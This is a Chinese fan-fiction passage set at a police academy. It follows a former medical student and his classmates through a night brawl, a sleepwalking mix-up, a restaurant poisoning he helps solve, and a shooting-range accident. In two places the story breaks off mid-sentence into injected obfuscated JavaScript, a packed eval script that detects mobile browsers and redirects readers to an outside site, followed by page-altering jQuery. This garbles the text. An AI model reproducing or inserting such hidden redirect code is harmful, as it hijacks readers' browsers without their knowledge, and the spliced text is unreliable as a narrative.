“这是诅咒!”森川和也抱头,“它们刻进我的DNA了,我不干净了……但我精神上已经叛变了!我的心现在只属于警察事业!” “蒸蚌。”诸伏景光捧场道,“所以森川现在是警校里医学最好的。” “也是医学生里格斗最好的?” “这个真不一定。”不知道谁说。 “可恶啊!”森川和也大叫着,“不许污蔑我我们医学生的自尊可是很宝贵的!” 阴暗地融化.jpg “医学生也有自尊吗?”有人问。 “有的兄弟有的。” “哦?”萩原研二挑眉,“比如?” “……比如我现在很想打人。”森川和也说,“求你了萩原别刺激我,我真的会动手的。” “喏,”萩原研二非常好心地用易拉罐指指空地中央,“那边不是刚打完吗,你也要去接力?” 森川和也转头。 降谷零和松田阵平已经结束了刚才那一轮,两人隔着几步站着,都在微微喘气。降谷零的金发在昏暗光线下有些凌乱,额头似乎被松田打红了。松田阵平嘴角破了一点,但眼睛亮得惊人,正用一种“还没完”的眼神盯着对方。 森川和也:“……” “你要害了我吗,萩原?”他绝望地问,“就没人拦一下他们?我们是因为什么认识的,不就是大晚上3p被发现了吗?” 除了当事人,其他三位都露出了微妙的表情。 “我记得哦,”萩原研二唯恐天下不乱地举手,“是个小阵平和zero一起交流感情的美妙夜晚,某个梦游人士也加入了!” 然后他们就芜湖了.jpg “什么3P!”松田阵平额头冒出青筋,“hagi你闭嘴!不许污蔑我清白!” “可森川当时就是这么说的啊,”诸伏景光温和地补刀,“醒来第一句就是‘我怎么卷入3P了’。” 森川和也:“……我那是指三个人打成一团(three-person fight)的缩写!是缩写!你们这些思想不健康的人!” 降谷零这时走了过来,拿起放在旁边栏杆上的水瓶,喝了一口,淡淡开口:“思想健康的人不会在梦游时蹲在别人约架现场看完全程。” “还睡得特别香,打雷都吵不醒。”松田阵平补充。 森川和也:“……我们能不能让那段历史沉入时间的河底,永不提起?” 显然,不能。 因为记忆已经随着当事人的聚集,清晰地浮现在每个人眼前。 当时的森川和也根本不知道这两个人为什么会打起来。事实上,他只在意这几个人本身,而不是他们之间的关系。 松田阵平和降谷零的身手都不错,打起来架势十足,闷响声在寂静的夜里传出老远。 打了大概七八分钟,正到一个回合间隙,两人同时后退一步调整呼吸。松田阵平眼尖,瞥见右侧灌木丛阴影里,似乎有个黑乎乎的人形轮廓。 “谁?”他正在火头上,以为来了没眼力见偷窥或者搅局的。 降谷零也警惕地看过去。 那个轮廓一动不动。 两人对视一眼,暂时休战,朝那边走去。走近了,借着微弱的光,看见一个人背靠灌木坐着,穿着和他们一样的衣服,头歪向一边,呼吸均匀,是个新生。 这是……睡着了? 降谷零皱眉,蹲下身,试着推了推那人的肩膀:“喂,醒醒。你怎么在这里?” 没反应。 松田阵平没那么好脾气,直接伸手想把人拎起来:“装神弄鬼……” 他的手刚碰到对方衣领,那人身体忽然顺着他的力道一歪,直接软倒下去,躺平在了草地上,依旧没醒。 降谷零和松田阵平同时僵住。 刚才……好像没用力? “喂!”松田阵平这下有点慌了,又蹲下拍了拍那人的脸,“醒醒!别吓人!” 降谷零已经探了探对方的鼻息和颈侧:“不像有事……但叫不醒。” 两个刚刚还打得你死我活的家伙,此刻面对着地上这个不知死活但好像又只是睡着了的同期,陷入了诡异的沉默和一丝罕见的无措。 要是真打出事…… 可地上这人到底和他们有什么关系? 就在这时,地上的人睫毛颤了颤,缓缓睁开了眼睛。 月光下,那双初醒的眼睛茫然地聚焦,首先看到的是俯身盯着他的两张挂彩的帅脸——虽然一个金发一个卷毛都很醒目——在昏暗光线下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“那你们脸上伤怎么回事?互相打的还是打我了?我要验伤!我学……我懂法!” 鸡同鸭讲,越吵越凶,降谷零想拦也拦不住。声音在寂静的夜晚极具穿透力。 很快,一道手电筒光柱扫了过来,伴随着中气十足的怒吼:“那边!谁在那里!半夜不睡觉,吵什么吵?!给我站住!” 鬼冢教官! 三个人瞬间噤声。 手电光迅速逼近。 “跑!”不知道是谁喊了一声。 求生本能瞬间压倒了一切争执。三人几乎同时弹起来,朝着不同的方向——或者说,自以为不同的方向——窜了出去。 然而森川和也方向感奇差,在混乱中一头撞向了降谷零原本想跑的方向;降谷零紧急刹车转向,又和折返想换路的松田阵平撞在一起。三个人在空地上乱七八糟地跑成一团。 “分开跑!”降谷零压低声音喝道,反应最快,率先朝左侧灌木丛后闪去。松田阵平几乎同时动身,一个侧滚翻进阴影里。 只有刚从梦游中清醒大脑还在宕机的森川和也没反应过来,撞到人后愣在原地,降谷零倒是试图抓了他一把但奈何森川实在愚蠢,等他反应过来想跑时,鬼冢教官已经大步流星跨到面前,手电光直直打在他脸上。 “森川和也!”鬼冢教官怒目圆睁,“又是你!大半夜不睡觉在这里吵什么?!” 我命好苦。森川和也迷茫地想,我也想知道我在干什么。 “教、教官……”他僵硬地举起手,“我……梦游?” 手电筒的光在他脸上停留了几秒,又扫向周围空荡荡的空地。鬼冢教官皱紧眉头:“就你一个人?刚才我明明听到好几个声音!” “真的就我一个!”森川和也拼命点头,试图用身体挡住教官看向阴影处的视线,“我梦游,然后……然后可能说了梦话?我也不知道诶教官,可能是撞到别的梦游的人了?” 鬼冢教官都要被气笑了:“你当我没看见?其他两个人是谁?” 森川和也大惊失色:“还有其他人?这里不就我们两个吗!” “你别给我装傻!刚刚你在和谁吵架?” “我不知道啊教官!” “你现在坦白我还能给你一次机会!” 那很让人心动了! 可是刚刚绑架他的那两个是谁?森川和也开始回忆。坏了,没记住名字,这下是真不知道了。 “报告教官……我真的不知道他们是谁……” 鬼冢显然不信:“不说是吧?行,那他们两个的处罚我也记你身上。” “!” 清汤大老爷他真的不知道! 7. 07 好在现在是大半夜,鬼冢虽然生气但还是让他滚回去睡觉。森川和也果断把问题扔给明天的自己,像回家了一样往宿舍楼冲去。 推开门,刚好撞见醒了的伊达航。伊达航看上去松了口气:“森川……?你怎么突然消失了,吓我一跳。” 森川和也扑过去:“班长——我刚刚被绑架了!” 真正偷看到一切的伊达航:“……” 在伊达航的介绍下,森川和也终于知道了那两个“绑架犯”的名字。他犹豫片刻,在伊达航肯定的眼神中还是决定去道个歉。 这个时间……应该还没睡吧? 降谷零的宿舍门很快开了条缝,露出金发青年警惕的脸。看到是他,神色稍缓,但依然皱着眉:“什么事?” “那个……”森川挠了挠头,“我带了点东西。” 说话间,他下意识抬头,看见诸伏景光正在收拾桌上的医药箱。 已经处理过了啊。 森川举起手里的小包——那是他自己带的的简易急救包,医学生的职业病让他一直没舍得扔。 “不过看来是不需要了。”森川和也松了口气,“今晚的事真是不好意思。” …… 松田阵平这里就很热情了,虽然主要热情的是萩原研二。 见两人是幼驯染,森川很识趣地放下医疗包就想离开。但萩原研二语气轻快地说着什么“今晚小阵平真是给你添麻烦啦”,一边处理伤口一边闲聊。 “没想到森川同学还准备有医疗包,我本来已经准备去医务室偷一点过来了。”萩原研二涂着碘酒,“真是帮大忙啦森川。” “毕竟我以前是医学生嘛。”森川和也局促地坐在椅子上,“准备这些东西已经是习惯了。” “那为什么转行?”松田阵平问。 “怎么问这么失礼的问题!”萩原研二试图拦住横冲直撞的幼驯染。 “没什么不能说的。”森川和也坦白道,“我学不下去了。” “还是觉得问这种问题好冒昧啊!快道歉小阵平——” 第二天早晨,训练场。 鬼冢教官站在队列前,眼神扫过每一个学员。当目光落到降谷零和松田阵平身上时,他停顿了。 “降谷,出列。” 降谷零向前一步。 “额头怎么回事?” “报告教官,昨晚洗漱时不小心撞到了门框。” “松田,出列。” 松田阵平也站了出来。 “嘴角呢?” “吃饭时咬到了。” 鬼冢教官眯起眼睛,在两人之间来回打量:“其他的呢?” 这两个人演都不演了,满脸伤就过来上课,昨晚和森川鬼混的除了他们还能有谁! 森川和也有点庆幸自己昨晚已经被骂过了,不至于被当众处刑——而松田阵平,这个人简直是天生的刺头,他轻松开口: “您想听吗?” 鬼冢八藏的脸色难看的让森川和也想到警察很不该想的东西,救命好可怕这里是地狱吗请让他离开! “啊,请务必让我了解一下。” 森川和也叹了口气,正准备站出来坦白一下这是被他绑架的两个同学,但伊达航先出列了。 “报告教官,是这样的,昨天我的房间突然出现了蟑螂,他们是帮我打蟑螂才受的伤。” “是吗?”鬼冢教官的声音提高了,“可我昨晚明明在宿舍后空地抓到了森川。” 队列里一片寂静。 伊达航沉稳开口:“嗯,森川被蟑螂吓跑了。” 森川和也:“……对就是这样。” 看着似乎要发怒的教官,伊达航迅速开口: “但我们还是扰乱了学校秩序,作为惩罚,我们绕场地跑十圈好了!” 六个人在这种事情上达成了诡异的一致,飞快抛下生气的教官跑路了。 跑步时,森川和也苦着脸跟在队伍里。旁边传来松田阵平压低的声音:“喂,你昨晚怎么样?” “三千字检讨。”森川木着脸,“鬼冢怎么都不相信我是梦游。” “三千字啊,你行不行?” “……我以前写病历,一天能写八千字。”森川有气无力,“但我现在宁愿去擦器械。” 前方,诸伏景光温温柔柔的声音传来:“所以到底是谁赢了?” “那当然——” “是我。” “是我。” “不是我。” “我求你们了别现在吵。”森川和也喘着气,“我要跑不动了,求求了,你们一说话我就想笑。” 松田阵平惊讶道:“我们这不是刚开始吗?” “喂,你们几个……”伊达航从后面扑过来,搂住两个人的肩膀,“虽然不知道具体发生了什么,但下次可要带上我!” “喂!你们几个!”鬼冢八藏的咆哮穿过操场,“给我认真跑起来啊!” 森川和也朝伊达航求救:“航哥,航哥我跑不动了,拉我一把。” “不许拉他——”鬼冢八藏的声音遥遥传来,“小兔崽子,看他以后还打不打架!” “我真没打——” 十圈结束,所有人气喘吁吁。解散后,几个人走向器械室,准备开始漫长的擦拭工作。 “等一下。”萩原研二指着自己,“我也要一起吗?” “对。”松田阵平说。 降谷零看向诸伏景光。 诸伏景光:“行。” …… 松田阵平和降谷零终于结束时,发现错过了整个谈心环节。 “所以,”松田擦着嘴角,瞥向蹲在花坛边一脸沉痛的森川,“这家伙到底在忏悔什么?” 诸伏景光温和地笑了笑:“在忏悔自己弃医从警的理由不够崇高。” “哈?”松田挑眉。 “要重新开始一轮吗?”景光问,“森川刚才还挺有感染力的。” “不要。”降谷零和松田阵平异口同声,下一秒又嫌弃地扭开头。 萩原研二晃着空易拉罐:“别啊,小阵平,zero,你们错过了一场精彩的人生剖析。” 伊达航补充:“以及不要学医。” 松田阵平嗤笑一声,正要说什么,忽然注意到—— 森川和也又睡着了。 就蹲在花坛边,头一点一点的,呼吸均匀。月光照在他侧脸上,睫毛在眼下投出一小片阴影,看上去安静又无害。 “……喂。”松田阵平额角青筋一跳,“这家伙是树袋熊吗?怎么随时随地都能睡?” 降谷零也看了过去,眼神里有一丝难以察觉的无奈。 “啊啦,”萩原研二凑近,伸手在森川面前晃了晃,“真的睡着了耶。刚才还在痛斥医学,转眼就进入梦乡,这也太快了吧?” 诸伏景光轻声道:“可能是之前训练太累了。” “累?”松田阵平没好气,“今天训练量明明正常——喂!森川!” 最后一声稍微提高了音量。 森川和也猛地惊醒,身体一晃差点从花坛边栽下去:“到!谁叫我?!教官吗?!” 五个人默默看着他。 森川眨了眨还带着睡意的眼睛,看清眼前是谁后,松了口气:“什么啊,是你们……我还以为鬼冢教官又来抓我了。” “我们比鬼冢教官还可怕吗?”萩原研二笑眯眯地问。 “不,我的意思是——”森川揉了揉眼睛,“你们至少不会罚我写三千字检讨。” “说起这个,”松田阵平抱着手臂,“你那检讨最后写了什么?” “我写了……”森川眼神飘忽,“关于人类在睡眠状态下潜意识活动的社会学意义,以及梦游作为非自主行为在法律与道德层面的界定模糊性。” “说人话。” “我瞎编了三千字。” 众人:“……” 萩原研二率先笑出声,接着其他人也忍不住笑了起来。森川看着他们笑,自己也挠头笑了。 “不过说真的,”降谷零忽然开口,语气平静,“你这种随时随地能睡着的本事,怎么练的?” 森川比了个大拇指:“天赋。” 气氛微妙地沉默了一瞬。 “医学生真可怕。”松田阵平评价道。 “是啊,”森川重新笑起来,“所以我才逃到这里来了嘛。” 几天后,警校放假。 “联谊会?!”森川和也的声音在宿舍走廊里回荡,“我?去联谊会?” 萩原研二勾着他的肩膀,笑容灿烂:“没错没错!小森川你也该接触一下正常社交了!整天不是训练就是睡觉,青春都被你浪费了!” “我有正常社交!”森川挣扎,“我和你们不是每天都在社交吗?!” “那叫互殴,”松田阵平从旁边走过,“不算社交。” “小阵平也去哦~”萩原研二补充。 松田阵平:“……hagi你闭嘴!” 最终,在萩原研二的软磨硬泡和“至少有甜点吃”的诱惑下,森川还是被拖去了。伊达航不知道有什么事提前说了不参加。诸伏景光温和地表示“可以去看看”,降谷零则是被松田一句“你不会是怕了吧”激将去的。 联谊会在涩谷一家装修时髦的咖啡馆。到场的有好几位年轻女性,萩原研二如鱼得水,松田阵平一脸不耐地坐在角落,降谷零保持着礼貌但疏离的微笑,诸伏景光温和地与一位女士聊着音乐。 森川和也…… 森川和也坐在沙发最边上,在轻柔的背景音乐和低声谈笑中,又睡着了。 等他被手机震动惊醒时,已经是两小时后。咖啡馆里人少了一些,他环顾四周——同期们全不见了。 “诶?”森川瞬间清醒,掏出手机挨个打电话。 降谷零:您拨打的电话暂时无法接通 松田阵平:您拨打的电话已关机 萩原研二:您拨打的电话暂时无法接通 诸伏景光:您拨打的电话暂时无法接通 森川盯着手机,一股不祥的预感涌上心头。比起失踪,他更觉得——这几个人该不会一起干什么坏事去了吧? 怎么不带他! 他冲出咖啡馆,夜晚的涩谷街头人流如织。站在十字路口,森川犹豫了三秒,一咬牙—— 开启了系统面板的定位功能。 这是他很少动用的功能,但此刻管不了那么多了。 半透明的地图在视野中展开,五个光点正在移动……方向是银座。 等等,这个位置……森川放大地图,看到定位点旁边浮现出微小的文字标注:【北乃汤餐厅——案件触发点(倒计时:18分钟)】 “我就知道!”森川差点骂出声,“主角光环也不是这么用的吧!随便出来玩都能撞上案件?” 他冲到路边,拦下一辆刚好停下的配送摩托车:“抱歉借一下!” 在司机惊愕的目光中跨上车,一拧油门冲了出去。 “等等那是我的车——!” 18:25 森川骑着摩托车在银座街头狂奔。 18:28 靠小巷甩掉巡逻车。 18:29 一个急刹停在餐厅门口。 18:29 森川冲进餐厅,刚好看见降谷零、松田阵平、萩原研二、诸伏景光四人从餐厅走出来——看起来正准备离开。 双方撞个正着。 “森川?”诸伏景光惊讶,“你怎么……” “你们没事吧?”森川气喘吁吁,目光迅速扫过四人,“有没有人受伤?有没有奇怪的事情发生?有没有哪里传出尖叫?” 四人面面相觑。 “我们没事啊,”萩原研二说,“就是小阵平说联谊会太无聊了要出来找点吃的,刚好我们被推荐了这家店,正准备回去叫你呢。” “那……”森川愣住,“其他人呢?有没有人在聚会?” 松田阵平皱眉:“你在说什么?” “为什么这么问,森川?”降谷零盯着他。 森川张了张嘴,一时语塞。系统地图上的倒计时明明……难道他记错了?还是…… 就在这时。 “啊——!!!” 女性凄厉的尖叫声,从他们刚刚离开的包厢区传来。 所有人的脸色都变了。 森川第一个反应过来,转身冲向声音来源:“这边!” 19:05 众人冲进包厢时,看到的是一个男人倒在地上的画面。一位女士捂嘴尖叫,另一个试图扶起“死者”却不敢碰,还有人瘫坐在一旁脸色惨白,正掏出手机要打电话。 “都退开!保持通风!”森川和也的声音压过混乱。 他几乎是本能地冲过去,跪在受害人身边,动作快得让人看不清。一只手探向颈动脉,另一只手翻开眼皮查看瞳孔。 “瞳孔散大,呼吸浅促,脉搏微弱——是中毒!”森川的声音异常冷静,与他平日判若两人,“萩原,快报警!景光帮我问一下餐厅是否有AED!” “无外伤,无窒息体征,呕吐物有苦杏仁味……这位先生,他刚才吃了什么?” 高桥健一结结巴巴:“就、就是普通的怀石料理,喝了点清酒……” 森川一边解开渡边衣领将其侧卧:“班长……啊班长不在。那zero帮忙维持一下秩序,别让任何人离开或触碰证物。” 降谷零深深看了他一眼,点头照做。 用手帕清理受害人口腔时,森川和也的眉头越皱越紧:“中毒时间约10—15分钟,毒物通过消化道摄入……但现在催吐风险太高,呼吸已经开始抑制。” 他抬头看向小林优子:“小姐,他有无药物过敏史?心脏病史?” 小林优子颤抖着摇头:“没、没有……” 就在此时,渡边拓也的身体猛地抽搐,随即心跳停止。 “室颤!退后!”森川几乎是吼出来的。 他立刻开始胸外按压,动作标准有力,每一下都带动全身重量。 “1、2、3、4……景光,人工呼吸准备!” 诸伏景光毫不犹豫地蹲下配合。两人默契得像演练过无数次——按压30次,人工呼吸2次,循环继续。 松田阵平检查着酒壶和酒杯,眼神锐利;萩原研二安抚着惊慌的女性,同时观察每个人的反应;降谷零守在门边,扫视全场。 按压持续三分钟后,渡边恢复微弱心跳,但仍昏迷不醒。 救护车赶到,森川和也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189134|197044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快速向急救人员交接:“35岁男性,疑似□□类中毒,昏迷12分钟,3分钟前室颤,心肺复苏后恢复自主心律,瞳孔对光反射微弱……” 急救人员接过病人时,忍不住多看了森川一眼:“你是医生?” 森川顿了一下:“……前医学生。” 救护车呼啸而去。 降谷零冷静地询问四位嫌疑人:“请各自陈述从进入包厢到渡边先生倒地的详细行动,包括离席时间、接触过哪些食物酒水。” 他很快发现矛盾点:山本美咲声称“一直在包厢”,但松田注意到她袖口有庭院泥土。 松田阵平在检查屋子:“有人最近移动过这个屏风,而且很匆忙啊。” 萩原研二正在和其他人闲聊。他从高桥健一处得知渡边的公司正在收购山本家族企业;从小林优子颤抖的手中接过手帕时,注意到她指甲缝有少许粉末;而佐藤龙二总不自觉地摸左手腕表——表带下有新鲜抓痕。 旁边的诸伏景光安静地观察四人反应: 山本美咲的悲伤中带着愤怒;高桥健一似乎在表演焦虑;小林优子的恐惧深处有愧疚;佐藤龙二的沉稳近乎麻木。 “佐藤先生说的最后一句话是对不起……”小林优子不安地补充,“可能……可能是觉得对不起收购山本小姐家的企业。” “你什么意思!难道你是说我杀了佐藤吗?”山本美咲生气地反驳,“要我说是你这个女人才对,谁不知道你和佐藤一直在吵架!” 推理陷入僵局。大家都同意毒物是□□,动机可能是商业纠纷或情感纠葛,但缺少关键证据。 森川缓过来,走到渡边的座位旁,蹲下仔细嗅闻。 “苦杏仁味……但浓度不对。”他喃喃道。 “什么?”降谷零看向他。 “□□中毒的苦杏仁味通常很淡,很多人根本闻不到。”森川抬起头,眼神锐利,“但这个味道太明显了,像是……” 他猛地看向房间里香炉:“像是在用香味掩盖另一种气味!” 松田阵平立刻拔下线香碾灭。森川凑近闻了闻香灰,脸色一变:“这里面应该掺了苯甲酸——燃烧会产生类似苦杏仁的气味,实际毒物可能是别的!” “等警察到了,检查一下呕吐物成分就好。”森川和也站起身,“刚刚渡边先生的表现就像是心脏病一样,如果我没猜错,毒药应该是高浓度洋地黄苷。一种可以从铃兰、毛地黄等植物中提取的心脏毒素。” “为什么这样认为,小森川?”萩原问,“一般在有苦杏仁味的情况下大家是不会想到更多的吧? 森川解释:“洋地黄苷中毒早期症状类似□□,但有个关键区别,它会引发特征性的黄视症。” “这么说来,渡边最后说的就不是对不起了。”高桥健一若有所思道。 森川和也抬头:“他不是说‘对不起’(ごめん),而是‘黄色’(黄色い)!” “小林小姐。”高桥健一说,“我没有记错的话,你的父亲是植物学家吧?” “如果这样就能认定我是凶手,那你们为什么不怀疑山本呢?”小林优子冷冷地问,“她可是我父亲的学生,而且一直在和渡边暧昧……因爱生恨这种事也是常有的吧?” “但你在愧疚,小林小姐。”诸伏景光温和地说,“我猜你没来得及清理你的美甲。” “……” “你们来的太早了。” “什么?” 森川和也意识到什么,他愣了一下,猛地站起身:“你没打算杀人?” “什么是没打算杀人?”降谷零追问。 “洋地黄苷是有解药的。”森川和也解释,“如果我们来晚一点……” 小林优子闭了闭眼。 她的父亲前不久去世了。 作为父亲的学生,山本美咲和渡边拓也一切窃取了她父亲的研究成果,制成保健药品牟利。 “是我的错。”她说,”如果不是渡边答应要娶我,我不会相信他的。” 渡边承诺与她结婚却一再拖延,实际上同时与山本美咲保持利益和暧昧关系。本来她计划在渡边“濒死”时拿出解药,换取他公开忏悔并归还专利。 但来不及了。 被警方带走时,小林优子泪流满面却异常平静:“我只是……想让他承认他做了什么。” 餐厅外,夜色深沉。 “所以,”松田阵平打破沉默,看向森川,“你怎么知道会出事?” 所有人都看向森川。 森川僵住。他总不能说“因为我有系统地图看到案件倒计时”吧? “我……大概是第六感吧。”他思索着,“话说我给你们打电话怎么没人接?吓死我了——” “什么电话?”诸伏景光问,“没有人给我们打电话啊。” “诶???”森川和也打开手机,展示通话失败的记录,“我明明拨了,每个人都打了!” “好啦好啦,可能是信号不好吧。”萩原研二拍拍他的肩,压低声音凑近,“你冲进来的时候,脸色白得吓人哦。不只是担心我们吧?” 【案件“餐厅毒杀”解决。贡献度评级:A】 【关键成就解锁】 【警校组羁绊值提升】 【提示:你改变了渡边拓也的死亡命运。】 森川关闭界面,看向窗外。玻璃倒影里,他看到降谷零正在看他,眼神深邃。 松田阵平忽然开口:“喂,医学生。” “嗯?” “你其实……”松田顿了顿,似乎在斟酌词句,“没那么讨厌医学吧?” 森川愣了愣。 萩原研二也凑过来:“对啊,你今天急救的时候,眼神完全不一样。” “而且你最后有点伤心。”诸伏景光轻声说:“是因为小林优子吗。” 电车轻微摇晃,灯光在车厢内明灭。 森川沉默了很久,久到众人都以为他不会回答了。 “……我讨厌的不是医学本身。”他终于开口,声音很轻,“我讨厌的是……有些时候,你知道该怎么做,你有能力,但你救不了。或者更糟——你救了,但那个人活下来后过得生不如死。” 他笑了笑:“医学教你怎么对抗死亡,但它不教你怎么面对活人。救活了,然后呢?我一直想不明白。” 车厢陷入沉默。 “所以你来当警察?”降谷零问。 “嗯。”森川看向窗外飞速掠过的城市灯火,“警察的工作很明确——阻止犯罪,保护生命,维护正义。虽然也有无奈的时候,但至少目标清晰。” 他顿了顿,轻声补充:“而且警察可以在事情发生之前阻止它。医生只能在事情发生后补救。我……更想做前者的工作。” 我也想拯救过一些东西。 没有人再说话。但森川和也知道他们理解这些。 下电车时,萩原研二勾住森川的肩膀:“下次联谊会,别再睡着了啊。” “我尽量。”森川心虚地移开视线。 “不过,”松田阵平走在前面,头也不回地说,“你睡着的样子,至少比急救时那张死人脸顺眼点。” “……这算是夸奖吗?” “你觉得呢?” 夜空下,五个年轻人的身影拉得很长。 8. 08 警校的档案室总是弥漫着旧纸张和灰尘的味道。阳光斜照进来,能看见空气中浮动的微尘。 “松田……”降谷零低声念出档案上的名字,想起了那个卷发同期提起父亲时瞬间阴郁的表情。 里面记载着一场职业拳击赛的意外、误判、舆论暴力,以及一个拳手职业生涯的终结。文字冰冷,但足以拼凑出一个家庭的崩塌和一个少年从此对“警察系统”产生的深刻不信任。 “原来是这样。”降谷零关掉电脑页面。他理解了松田阵平那种尖锐的敌意从何而来——那不是针对个人,而是针对一个曾经辜负了他父亲的体系。 想着想着,他有些出神。 “zero,”诸伏景光的声音将他拉回现实,“你还在想森川的事,对吗?” 降谷零没有否认。上次餐厅案件森川和也的表现太过异常——近乎本能的急救反应,还有最后谈及医学时眼中一闪而过的痛苦。那不只是一个“不堪学业重负的医学生”该有的样子。 “他的档案,”降谷零点击搜索,“也不知道能不能找到。” 一切顺利。 森川和也的记录比想象中更少。前半部分很普通:学业记录,医学部的录取通知,甚至有几张优秀实习生的评价。转折点出现在四年前—— 母亲森川玲子,死于一场住宅火灾。调查报告结论是电路老旧导致的意外。 里面补充有几张现场照片,火光吞噬了普通的二层民居。降谷零的指尖在“独生子森川和也当时在外参加集训,未能赶回”这行字上停顿。 火灾之后,森川的学业记录出现了大片空白,然后是近乎断崖式的成绩下滑,最终是主动退学的申请。 再之后,就是警校的入学资料。 “父亲呢?”诸伏景光问。 降谷零往前翻,在个人家庭关系栏看到一行更简短的记录:“父亲职业不详。于森川和也七岁时失踪,半年后森川和也报案,警方记录为‘单方面离家,原因不明’。” 一个失踪的父亲,一个死于意外的母亲。一个在两次失去后,放弃了原本前途光明的医学道路,转而报考警校的孩子。 “hiro,”降谷零看向幼驯染,“你怎么想?” 诸伏景光的目光落在“火灾”和“失踪”这两个词上,蓝色的眼睛里有什么情绪缓慢沉淀:“动机可以理解。但……他的医学水准,不像是因为消沉就轻易放弃的人。除非……” “除非有更直接的原因,让他无法再继续。”降谷零接话。 两人沉默了片刻。降谷零将档案仔细还原,放回柜中:“要去上课吗?” “你先去吧,zero。”诸伏景光温和道,“我再看看。” 猫眼青年坐在电脑前,没有再去动森川的档案,而是调出了另一份档案——它来自多年未破的悬案卷宗。 “长野县夫妇被杀害事件”。 降谷零靠在门外,最终只是很轻地叹了口气。阳光移动,将他倚在柜边的影子拉得很长。 下午的射击训练场,枪声此起彼伏。 降谷零的射击成绩一如既往的出色,弹孔密集地簇拥在靶心。鬼冢教官难得地点头:“不错,保持这个水准。” 森川在旁边偷听,刚好听见了毛利小五郎的名字。松田阵平在旁边嗤笑一声,摆弄着手里的左轮手枪,显然对“和侦探比较”这种说法不以为然。 但众人的目光很快被另一侧的森川和也吸引。 他的射击姿势很奇怪——双手持枪,但两只手的用力方式看起来很不协调,好像左手在刻意承担更多重量,而右手的动作十分僵硬。 “森川,”鬼冢教官走过去,看了看他的靶子。子弹散布虽然都在有效范围内,但散布范围很大。他皱了皱眉,“手腕放松,肩膀不要耸。你太紧张了。” “是,教官。”森川和也尝试调整,但动作依然有种说不出的别扭。 降谷零走到他旁边自己的射击位,一边装填子弹,一边用余光观察。几次击发后,他看出了问题所在: 森川和也用右手扣扳机时,用的不是食指指腹,而是中指关节发力,枪口在击发瞬间会被手指的力度轻微地扭转到左下方。 这不是紧张,更像是习惯或者限制。 萩原研二也凑了过来,笑嘻嘻地说:“小森川,姿势不对哦~来,研二酱教你。”他没等森川拒绝,就自然地站到他侧后方,伸手去调整他的手腕角度。 就在萩原的手指碰到森川右手手腕内侧时,他的动作顿住了。 隔着一层薄薄的布料,他摸到了凹凸不平的疤痕组织。范围不小,位置正在手腕发力的关键处。 森川的身体几不可察地僵了一下。 “森川,”萩原研二的声音低了,笑意还在,但认真了许多,“你的手……” “以前受过点伤。”森川迅速抽回手,语气轻松,“不碍事,就是有点使不上劲,所以习惯用两只手稳一点。” “什么伤能留下这种……”萩原的话没说完。 “这破枪怎么回事?” 松田阵平的疑问打断了他们。只见他盯着自己那把左轮手枪,真诚的疑问:“感觉准星有问题啊。” “松田!”鬼冢教官警告,“自己水平不够就不要推脱是枪的问题,警校的枪都是统一配置的。” 再转身,松田阵平已经说着什么“我检查一下”,干脆利落地拆解手枪了。他的手指快得几乎出现残影,几秒钟内,一把完整的左轮就变成了一桌零件。 鬼冢教官额头爆出青筋:“松田阵平!谁允许你在训练时间擅自拆卸配枪?” “不然怎么知道它为什么不准?”松田头也不抬,仔细检查着每个部件,“这种枪可是很容易出问题的,大概率是被摔过。” 萩原研二笑眯眯地搭在森川和也身上:“小阵平的老毛病又犯了,他超爱拆解这些东西的——” 就在这时,训练结束的哨声响了。 “射击训练到此结束了,所有人验枪退弹,归还装备!”鬼冢教官吼道,“松田,你给我站在那里! 众人纷纷操作,松田阵平也很不服地站在原地。 然而,就在教官逐一清点回收的子弹时,他的脸色变了。 “少了一颗。”鬼冢教官的声音冷了下来,目光扫过所有人,“谁干的?” 训练场一片寂静,有人把目光移到松田阵平身上。 “怀疑我?”松田阵平冷笑,“我可是归还了所有的弹壳。” 眼看两个人又要吵起来,伊达航向前一步笑道:“好了好了,给我这个班长一点面子。刚才训练流程我们都遵守了规定。子弹可能是在某个环节意外遗失的。请给我们一点时间,我们一定能找到。” 鬼冢教官盯着他看了几秒,又看了看其他几人——降谷零面无表情,诸伏景光眼神沉稳,萩原研二举起手笑得无辜,松田阵平一脸不耐但没反驳,森川和也则微微蹙眉,似乎在回忆什么。 “……好,”鬼冢教官最终说,“伊达,你负责。” 他还想说些什么,但一旁负责维修屋顶的工人打断了鬼冢八藏的话。眼看着教官和工人离开,森川和也皱紧了眉。 不会这么巧吧……? 但是,但是这也太巧了!刚好子弹消失,刚好有一把枪的零件,刚好教官被工人叫走。 不发生点什么反而不合逻辑了。 “不可能啊,”萩原研二蹲在松田刚才拆枪的位置附近,“小阵平拆装的时候我一直看着,没有子弹弹出来。” 松田阵平烦躁地抓了抓头发:“我都说了我退弹退干净了!” 森川看着他们,后退了几步,还是选择跟着教官离开。 …… 就在降谷零和松田阵平争论时,异变突生。 射击场上方的屋顶破开,维修工人掉了下来,鬼冢教官为了救维修工人跟着跳下去,安全绳在空中甩出柔软的弧度,恰好套住了鬼冢八藏的脖子。 借着是掉落的工具箱,眼看它就要砸到空中的两个人,旁边突然伸出一只手——森川和也跳出来,用手臂挡住沉重的箱子,硬生生改变了它的运动轨迹! 工具箱擦着鬼冢教官的肩膀砸在地上,鬼冢教官双手抓住勒住颈部的绳索,脸瞬间涨红,双脚离地。工人不知发生了什么,被安全绳吊着晕了过去,不知生死。 森川和也落在地上,看见伊达航指挥着几个人开始施救。 手枪、子弹、射击。 伊达航和诸伏景光已经冲到了正下方。伊达航猛地蹲下:“景光,踩我肩膀!”诸伏景光毫不犹豫地踩上去,伊达航怒吼一声站起,将景光托到最高。景光伸手,刚好够到鬼冢教官的鞋底,用尽全力向上托举,缓解颈部的拉力。 